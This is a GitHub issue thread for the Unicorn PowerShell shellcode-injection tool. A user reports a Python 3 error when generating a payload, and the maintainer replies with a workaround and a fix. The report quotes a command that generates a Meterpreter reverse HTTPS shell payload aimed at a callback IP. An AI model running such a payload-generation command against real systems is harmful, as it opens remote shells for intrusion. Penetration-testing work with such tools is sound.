trustedsec / unicorn

Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
https://www.trustedsec.com
Other
3.74k stars 817 forks source link

cannot generate shellcode #126

Closed leezp closed 5 years ago

leezp commented 5 years ago

python unicorn.py windows/meterpreter/reverse_https 192.168.255.153 443 [*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode... [!] Something went wrong, printing the error: a bytes-like object is required, not 'str'

environment: kali

trustedsec commented 5 years ago

Use python2 when generating, will fix this at a later update with Python3

trustedsec commented 5 years ago

Fixed in latest release.